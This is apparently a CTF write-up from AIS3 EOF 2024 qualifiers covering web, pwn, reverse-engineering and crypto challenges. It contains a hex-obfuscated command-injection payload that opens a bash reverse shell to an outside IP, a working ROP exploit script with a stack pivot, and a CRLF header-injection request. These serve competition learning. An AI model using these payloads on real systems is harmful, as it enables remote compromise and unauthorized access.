# AIS3 EOF 2024 Qual <h6> username: peach </h6> ### Welcome [misc] . ### DNS Lookup Tool: Final [Web] 沒擋 `$()` 所以還是可以任意執行。 這題沒給環境實在很搞,我本地可用的 payload 在上面就是不行。 最後把 `printf` 改成 `/bin/printf` 就過了,不知道題目機用什麼爛 shell。 ```! 0<&196;exec 196<>/dev/tcp/140.112.30.186/9001; bash <&196 >&196 2>&196 ``` ```! $(bash -c "$(/bin/printf '\x30\x3c\x26\x31\x39\x36\x3b\x65\x78\x65\x63\x20\x31\x39\x36\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x34\x30\x2e\x31\x31\x32\x2e\x33\x30\x2e\x31\x38\x36\x2f\x39\x30\x30\x31\x3b\x20\x62\x61\x73\x68\x20\x3c\x26\x31\x39\x36\x20\x3e\x26\x31\x39\x36\x20\x32\x3e\x26\x31\x39\x36')") ``` ### Flag Generator [Reverse] 發現 WriteFile 應該要寫進 flag.exe 但沒有。 x64dbg 執行,break point 直接 dump memory 下來。 執行 dump 出來的執行檔就好了。 ![image](https://hackmd.io/_uploads/SyAxqkKOp.png) ### jackpot [Pwn] 題目給一個 stack 上的任意讀,跟 stack overflow。 本身的 binary 雖然沒有 PIE 但 rop gadget 不多所以要用那個任意讀去 leak libc。 stack 上一定有一個位置放 libc 的 return address,我懶得算,所以直接爆試拿到。 拿到之後就能用 libc 的 gadget,因為有 seccomp 所以不能用 exec,但還是可以自己開檔讀 flag。 因為要自己 open read write 所以 stack overflow 的量不夠多,需要自己 read 一次大的再 stack pivot 過去。 ```python! from pwn import * context.arch = "amd64" #p = remote("localhost", 10101) p = remote("10.105.0.21", 12516) p.sendlineafter(b": ", str(-9).encode()) p.recvuntil(b" ticket ") leak = int(p.recv(14), 16) print(f"leak: {hex(leak)}") libc_base = leak - 0x7fb60e8bc6e5 + 0x7fb60e83b000 rw_space = leak - 0x7fb60e8bc6e5 + 0x7fb60ea54000 print(f"libc_base: {hex(libc_base)}") pop_rax_ret = libc_base + 0x0000000000045eb0 pop_rdi_ret = libc_base + 0x000000000002a3e5 pop_rsi_ret = libc_base + 0x000000000002be51 pop_rdx_ret = libc_base + 0x00000000000796a2 syscall_ret = libc_base + 0x0000000000091316 leave_ret = libc_base + 0x000000000004da83 # clear rax! mov_rax_to_prsi_ret = libc_base + 0x0000000000089722 # can only use 17! need stack pivot rop1 = b'\x00' * 0x70 + flat( rw_space + 0x200, # read rop2 pop_rax_ret, 0, pop_rdi_ret, 0, pop_rsi_ret, rw_space + 0x200, pop_rdx_ret, 0x200, syscall_ret, leave_ret ) rop2 = flat( 0, pop_rax_ret ) + b'/flag\x00\x00\x00' + flat( pop_rsi_ret, rw_space, mov_rax_to_prsi_ret, # open("/flag", 0, 0) = 3 pop_rax_ret, 2, pop_rdi_ret, rw_space, pop_rsi_ret, 0, pop_rdx_ret, 0, syscall_ret, # read(3, buf, 100) pop_rax_ret, 0, pop_rdi_ret, 3, pop_rsi_ret, rw_space, pop_rdx_ret, 100, syscall_ret, # write(1, buf, 100) pop_rax_ret, 1, pop_rdi_ret, 1, pop_rsi_ret, rw_space, pop_rdx_ret, 100, syscall_ret ) p.sendafter(b": ", rop1) sleep(1) p.send(rop2) print(p.recvall()) ``` ### Internel [Web] 上網查 internel 可以用 backend 給 `X-Accel-Redirect` header 來存取。又那個 python server 可以自己寫一個 `Location` 的 header,偷用 CRLF 加一個 header 就能得到 `/flag` 了。 ```! curl --path-as-is -vvv http://10.105.0.21:11089/\?redir=http://flag%0d%0aX-Accel-Redirect:%20/flag ``` ### Stateful [Reverse] 看到 execution flow 跟輸入一點關係都沒有所以直接把 function 抄下來然後用 replace 把 function 編號弄成輸出,就知道照順序執行哪些 state function 了。 每個 function 都是 `+=` 或 `-=`,所以就可以從檔案裡的 binary 反著做就完了。 **PAIN** ```c! unsigned char a[] = { 0xbf, 0x38, 0xcc, 0x33, 0x51, 0xdb, 0xf4, 0x02, 0x2d, 0x62, 0x85, 0x75, 0x5f, 0xc4, 0xb3, 0xb3, 0x1b, 0xd7, 0xdf, 0x90, 0xfa, 0x14, 0x4c, 0xae, 0x6a, 0x52, 0x5f, 0xf0, 0x74, 0x34, 0x29, 0x26, 0xbf, 0x65, 0x53, 0x35, 0xc3, 0xc0, 0x54, 0xa0, 0x65, 0xcc, 0x7d }; void state_1978986903() { a[0x5] -= a[0x14] + a[0x25]; } void state_3648003850() { a[0x8] -= a[0x10] + a[0xe]; } void state_3420754995() { a[0x11] -= a[0x18] + a[0x26]; } void state_557589375() { a[0xf] -= a[0x8] + a[0x28]; } void state_71198295() { a[0x25] -= a[0x10] + a[0xc]; } void state_126130845() { a[0x4] -= a[0x16] + a[0x6]; } void state_3901233957() { a[0xa] += a[0x16] + a[0xc]; } void state_1843624184() { a[0x12] -= a[0x1f] + a[0x1a]; } void state_794507810() { a[0x17] -= a[0x27] + a[0x1e]; } void state_4130555047() { a[0x4] -= a[0x19] + a[0x1b]; } void state_1929982570() { a[0x25] -= a[0x12] + a[0x1b]; } void state_3907553856() { a[0x29] += a[0x22] + a[0x3]; } void state_3507844042() { a[0xd] -= a[0x8] + a[0x1a]; } void state_2907124712() { a[0x2] -= a[0x19] + a[0x22]; } void state_2316743832() { a[0x0] -= a[0x1f] + a[0x1c]; } void state_1595228866() { a[0x4] -= a[0x19] + a[0x7]; } void state_1093244921() { a[0x12] -= a[0xf] + a[0x1d]; } void state_809393455() { a[0x15] += a[0x2a] + a[0xd]; } void state_1154341356() { a[0x15] -= a[0xf] + a[0x22]; } void state_3656605789() { a[0x7] -= a[0x0] + a[0xa]; } void state_4165665722() { a[0xd] -= a[0x1c] + a[0x19]; } void state_2816834243() { a[0x20] -= a[0x19] + a[0x5]; } void state_2095151013() { a[0x1f] -= a[0x10] + a[0x1]; } void state_3908914479() { a[0x1] -= a[0x28] + a[0x10]; } void state_2309210106() { a[0x1e] += a[0x2] + a[0xd]; } void state_4008735947() { a[0x1] -= a[0x6] + a[0xf]; } void state_3544494813() { a[0x7] -= a[0x0] + a[0x15]; } void state_4046605750() { a[0x18] -= a[0x5] + a[0x14]; } void state_1780152111() { a[0x24] -= a[0xf] + a[0xb]; } void state_269727185() { a[0x0] -= a[0x10] + a[0x21]; } void state_4237907356() { a[0x13] -= a[0x10] + a[0xa]; } void state_2098792827() { a[0x1] += a[0xd] + a[0x1d]; } void state_3443361864() { a[0x1e] += a[0x8] + a[0x21]; } void state_1132589236() { a[0xf] -= a[0xa] + a[0x16]; } void state_2131447726() { a[0x14] -= a[0x18] + a[0x13]; } void state_1765279360() { a[0x1b] -= a[0x14] + a[0x12]; } void state_4026467378() { a[0x27] += a[0x26] + a[0x19]; } void state_2202680315() { a[0x17] -= a[0x22] + a[0x7]; } void state_2373489361() { a[0x25] += a[0x3] + a[0x1d]; } void state_416430256() { a[0x5] -= a[0x4] + a[0x28]; } void state_2421543205() { a[0x11] -= a[0x7] + a[0x0]; } void state_3844354947() { a[0x9] -= a[0x3] + a[0xb]; } void state_3995931083() { a[0x1f] -= a[0x10] + a[0x22]; } void state_4260333374() { a[0x10] -= a[0xb] + a[0x19]; } void state_2263885268() { a[0xe] += a[0x6] + a[0x20]; } void state_1438496410() { a[0x6] -= a[0x29] + a[0xa]; } void state_2357240312() { a[0x2] -= a[0x8] + a[0xb]; } void state_671274660() { a[0x0] += a[0x1f] + a[0x12]; } void state_2057902921() { a[0x9] += a[0x16] + a[0x2]; } void state_3618225054() { a[0xe] -= a[0x8] + a[0x23]; } int main () { state_1978986903(); state_3648003850(); state_3420754995(); state_557589375(); state_71198295(); state_126130845(); state_3901233957(); state_1843624184(); state_794507810(); state_4130555047(); state_1929982570(); state_3907553856(); state_3507844042(); state_2907124712(); state_2316743832(); state_1595228866(); state_1093244921(); state_809393455(); state_1154341356(); state_3656605789(); state_4165665722(); state_2816834243(); state_2095151013(); state_3908914479(); state_2309210106(); state_4008735947(); state_3544494813(); state_4046605750(); state_1780152111(); state_269727185(); state_4237907356(); state_2098792827(); state_3443361864(); state_1132589236(); state_2131447726(); state_1765279360(); state_4026467378(); state_2202680315(); state_2373489361(); state_416430256(); state_2421543205(); state_3844354947(); state_3995931083(); state_4260333374(); state_2263885268(); state_1438496410(); state_2357240312(); state_671274660(); state_2057902921(); state_3618225054(); #include <stdio.h> puts(a); } ``` ### PixelClicker [Reverse] ![螢幕擷取畫面 2024-01-06 194709](https://hackmd.io/_uploads/SJZ6WpUup.png) 點的 pixel 會跟那個 FUN_140001a60 的東西比對,所以原本那個應該就是圖。 先把 counter 改成 0x259 (601) 然後斷在這裡找位置,直接把它 dump 下來,再轉成 rgb 輸出。 ![螢幕擷取畫面 2024-01-06 192554](https://hackmd.io/_uploads/B1cSG68O6.png) ```python! from PIL import Image import numpy as np with open("pixels.mem", "rb") as f: data = f.read() pic = np.array([[(data[j * 4 + i * 2400 + 2], data[j * 4 + i * 2400], data[j * 4 + i * 2400 + 1]) for j in range(600)] for i in range(599, -1, -1)]) pic = Image.fromarray(pic.astype('uint8')).convert('RGB') pic.save('pic.png') ``` binary data 是 gbr,交 writeup 之後才發現...... ### Baby RSA [Crypto] $m^3 \leq n_1n_2n_3 \Rightarrow m^3 = m^3 \mod n_1n_2n_3$ 所以可以要三組再 CRT 然後開三次方根 ```python! import gmpy2 from Crypto.Util.number import long_to_bytes, bytes_to_long n1 = 20053858249369804854810462052728637755000423552280520167451124932060368469489126535767858672452296152187512407204688276965502451289415832704472741188321495238225402513827081959062926304141351091488884271890525834654534131767269009040836465880677873203776746277525576174717124231166773382213602753337097960720226883838827201184603531038410645796172985843203529561566716418081915601535313473003030294325579159406438958851630166455605052630907448049983802293941787564547833204518361646434652926867983564799277641060110889275187750068902030486641809960773863199813809229070587638738333843044893442690731196533095782361751 c1 = 16765194002853024349853181851450873900958173061920938477309355819292824729299284782241877788873568268082126488343921438112681870080247471246376384749868006636837727889024872918646523940048373310871367175868484213224010648064232641717786127558699358699009515228755057538636298621540217243729835330037439035071669062401837380474100120678889466788271078612309614956294890162523316970073445829795523948638385381950115219701573257420308847275207765559711026322069862795208270737710767843913209823889967046182184493858136707753833847085978251553977887529488991625908489467980637330990476915105420894728752391384949391420656 n2 = 19143993863023065475106159171018601404726748465922315889074454190129179039367668894284081360070764760741300768056703372120909055845584564819928365295051822162420182670717027687506072389159710333578448342371430710198900734633238577750375064433576853425603373709385700013476588758615551630172948261512445898022843212438324308213820029266662075756106355776923347115062759816226908783192912538402077336871409055178177120231364909973490259774769747530048437155420026519943111622394588951980528627268949682966450857736139693424330915409485976051501161724648368850054580602802907653240262732964349973063387147673660087406097 c2 = 8493904974832480935989756425906996241215009253517685008244311895195585142319872125424640095494304880867588330256466830078183416803862523121515913617926473225355315191088026832046183584546622095825184103218451661279737662702684326318579359709623322489188433354602690347730249428251669648862462218203918309434188342076673754309719737421616444517944132271163848447642545615008192045769901398057597877445780947907668178444408152553166307622000017319399114648304808501401230099332352381992177351027957913820859411978916700115924053629374951569943450203777522346581401427670559790619201972770442098798849006444178369190342 n3 = 25161265470084873165508034290590985464034172991962853618184310436968696521808495518367782628018439857900977585701434832830336363565051308217913296416066168437103034061548279114221079825991721975421239134649127736861446065963612023550340787525601590071653804679574212146921695385732797500553520394817637867691476188307247487893579109330612677492800687245491046147200843281428291940142006289294616946686126736059845949304317315840757281061285520518467674114089540257850044687176485302548352347493088387355432844533839552778929215894627711781912995570812623565583080489263047554834822317827544661479027523116263760321601 c3 = 7981049494489087473740975052876072127956912295060756522741139674618721210586028790640128429355242041640060255459630997690239194920329838874408313774929507332096164845990675592465217666133310040272285095624559773139103408556298956921400717724743696861269431837789056440832757271503843796733440418309633701730877370661344899266866156066276976910366790676029876342099984090112654792799564489985661697697945522315894776814704350429493230854359434868256062887406854296256277486703939193363126986435991268134993978160046596152943460982181140700051135645963382465926256852947607537976759572636071123918139504653041063240575 N = n1 * n2 * n3 inv_N1 = pow(N // n1, -1, n1) inv_N2 = pow(N // n2, -1, n2) inv_N3 = pow(N // n3, -1, n3) flag_3 = (c1 * inv_N1 * N // n1 + c2 * inv_N2 * N // n2 + c3 * inv_N3 * N // n3) % N a, b = gmpy2.iroot(flag_3, 3) print(long_to_bytes(a), b) ``` ### Baby ECDLP [Crypto] 照抄 https://ctftime.org/writeup/29702 用 a, b 式子反推就有 p, q,計算方法在註解 姑且有檢查過兩個 order 都可拆成小質數 ```python! from output import * from sage.all import * from Crypto.Util.number import long_to_bytes #x = var('x') #print(solve(x ** 3 - x ** 2 + a*x + b, x)) p = 606710710331354054580186816291010392871019954030779016292280286866735511569100967440607108157263872383894869151462034657242060313292171198199627921327747 q = 2593583059728345921717208095074913602629280672126544615190525122441615292084597121583589016495332323447796399589884856517974664149857614601721857175783803 Ep = EllipticCurve(GF(p), [a % p, b % p]) Gp = Ep(p, p) + Ep(q, q) Cp = Ep.point(C) Eq = EllipticCurve(GF(q), [a % q, b % q]) Gq = Eq(p, p) + Eq(q, q) Cq = Eq.point(C) sp = discrete_log(Cp, Gp, Gp.order(), operation="+") sq = discrete_log(Cq, Gq, Gq.order(), operation="+") print(long_to_bytes(int(crt([sp, sq], [Gp.order(), Gq.order()])))) ``` ### Baby AES [Crypto] flow: ```! # want to know AES_enc(iv), AES_enc(XOR(AES_enc(iv), c1[0:16])), AES_enc(iv + 1), AES_enc(AES_enc(iv + 1)), AES_enc(iv + 2) # cur: iv + 3 choose: CTR plain text: b'\0' * 80 obtain: AES_enc(iv + 3), AES_enc(iv + 4), AES_enc(iv + 5), AES_enc(iv + 6), AES_enc(iv + 7) # cur iv + 4 choose: CFB plain text: (AES_enc(iv + 4) ^ iv) + b'\0' * 16 obtain: iv, AES_enc(iv) # cur iv + 5 choose: CFB plain text: (AES_enc(iv + 5) ^ (iv + 1)) + b'\0' * 32 obtain: iv + 1, AES_enc(iv + 1), AES_enc(AES_enc(iv + 1)) # cur iv + 6 choose: CFB plain text: (AES_enc(iv + 6) ^ (iv + 2)) + b'\0' * 16 obtain: iv + 2, AES_enc(iv + 2) # cur iv + 7 choose: CFB plain text: (AES_enc(iv + 7) ^ XOR(AES_enc(iv), c1[0:16])) + b'\0' * 16 obtain: XOR(AES_enc(iv), c1[0:16]), AES_enc(XOR(AES_enc(iv), c1[0:16])) # all variables obtained ``` ```python! from pwn import * from base64 import * from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l def conv_iv(iv): return l2b(iv).rjust(16, b"\x00") #p = process("AES.py") p = remote("chal1.eof.ais3.org", 10003) def CTR(x): p.sendlineafter(b"? ", b"CTR") p.sendlineafter(b"? ", b64encode(x)) p.recvuntil(b" b\'") return b64decode(p.recvline()) def CFB(x): p.sendlineafter(b"? ", b"CFB") p.sendlineafter(b"? ", b64encode(x)) p.recvuntil(b" b\'") return b64decode(p.recvline()) p.recvuntil(b'b\'') iv = b2l(b64decode(p.recvuntil(b'b\'')[:-5])) C1 = b64decode(p.recvuntil(b')')[:-2]) p.recvuntil(b', b\'') C2 = b64decode(p.recvuntil(b')')[:-2]) p.recvuntil(b', b\'') C3 = b64decode(p.recvuntil(b')')[:-2]) a = CTR(b'\0' * 80) ev3 = b2l(a[:16]) ev4 = b2l(a[16:32]) ev5 = b2l(a[32:48]) ev6 = b2l(a[48:64]) ev7 = b2l(a[64:]) a = CFB(conv_iv(ev4 ^ iv) + b'\0' * 16) ev0 = b2l(a[16:]) a = CFB(conv_iv(ev5 ^ (iv + 1)) + b'\0' * 32) ev1 = b2l(a[16:32]) eev1 = b2l(a[32:]) a = CFB(conv_iv(ev6 ^ (iv + 2)) + b'\0' * 16) ev2 = b2l(a[16:]) a = CFB(conv_iv(ev7 ^ b2l(C1[:16])) + b'\0' * 16) ev0c = b2l(a[16:]) c1 = b2l(l2b(b2l(C1[:16]) ^ ev0) + l2b(b2l(C1[16:]) ^ ev0c)) c2 = b2l(l2b(b2l(C2[:16]) ^ ev1) + l2b(b2l(C2[16:]) ^ eev1)) c3 = b2l(l2b(b2l(C3[:16]) ^ ev2) + l2b(b2l(C3[16:]) ^ ev3)) print(l2b(c1 ^ c2 ^ c3)) ``` ### Bam [Reverse] strings 發現居然有 `$1337$` ,於是順利找到有在作用的 function,從 [github](https://github.com/linux-pam/linux-pam/blob/76af6380776a81ffd6ff50de254fb448ec6bce79/modules/pam_unix/passverify.c#L91) 這邊大概看得出用到的變數是什麼。 然後就一路 backtrace 打出來,最後注意到雖然 input 會跟前面放 random 的地方 xor,但因為 `strcpy` 到的地方就在 random 的前面,所以可以直接覆蓋就變成 `password[:16]` 跟 `password[16:32]` 的 xor。 構造兩串可讀字 (好像其實不一定要可讀?) xor 等於解完的 hash 就過了。 ```c! #include <ctype.h> #include <stdio.h> #include <string.h> void gen_box (unsigned char *salt_i, int salt_l, unsigned char buf[]) { for (int i = 0; i < 256; i++) { buf[i] = i; } unsigned char a = 0; for (int i = 0; i < 256; i++) { a += salt_i[i % salt_l] + buf[i]; unsigned char t = buf[i]; buf[i] = buf[a]; buf[a] = t; } } void dexor (unsigned char *hash_i, int hash_l, unsigned char *salt_i, int salt_l) { unsigned char buf[256]; gen_box(salt_i, salt_l, buf); unsigned char a = 0, b = 0; for (int i = 0; i < hash_l; i++) { a++; b += buf[a]; unsigned char t = buf[a]; buf[a] = buf[b]; buf[b] = t; hash_i[i] ^= buf[(buf[a] + buf[b]) & 0xFF]; } } int tr (char x) { if ('0' <= x && x <= '9') { return x - '0'; } if ('a' <= x && x <= 'f') { return x - 'a' + 10; } if ('A' <= x && x <= 'F') { return x - 'A' + 10; } return 0; } void atoi (char *str, unsigned char buf[], int *rlen) { int len = strlen(str); *rlen = len / 2; for (int i = 0; i < len; i += 2) { int a = tr(str[i]); int b = tr(str[i + 1]); buf[i / 2] = (a << 4) | b; } } void strip (char *str) { int j = 0; for (int i = 0; str[i]; i++) { if (isxdigit(str[i])) { str[j++] = str[i]; } } str[j] = 0; } int check (char *salt, char *hash, char *pass) { char buf[0x10]; // FILE *f = fopen("/dev/urandom","r"); // fread(buf, 1, 0x10, f); // fclose(f); strip(salt); strip(hash); char salt_i[16], hash_i[16]; int salt_l, hash_l; atoi(salt, salt_i, &salt_l); atoi(hash, hash_i, &hash_l); dexor(hash_i, hash_l, salt_i, salt_l); // here has a strcpy, and the next 16 bytes of pass is buf! // for (int i = 0; i < 16; i++) { // printf("%d, ", hash_i[i] ^ '@'); // } // puts(""); for (int i = 0; i < 16; i++) { if ((pass[i] ^ pass[i + 16]) != hash_i[i]) { return 7; } } return 0; } int split (char *pass, char *shadow) { char *salt = strdup(shadow + 6), *hash = strdup(shadow + 6); for (int i = 0; i < strlen(salt); i++) { if (salt[i] == '$') { hash += i + 1; salt[i] = 0; break; } } return check(salt, hash, pass); } int main () { char *a = "$1337$346378395nt24aG6hpdm6f3178kz4Xge30NU6w949qM3965n$307nJ6iL2Ob9ce377c7dvf80Jw1h3UY644ce5xbbbj49Z5Qg"; return split("yVzxrpxjSVrvJOws @ @ @ ", a); } ``` ![image](https://hackmd.io/_uploads/rJjte1_Op.png)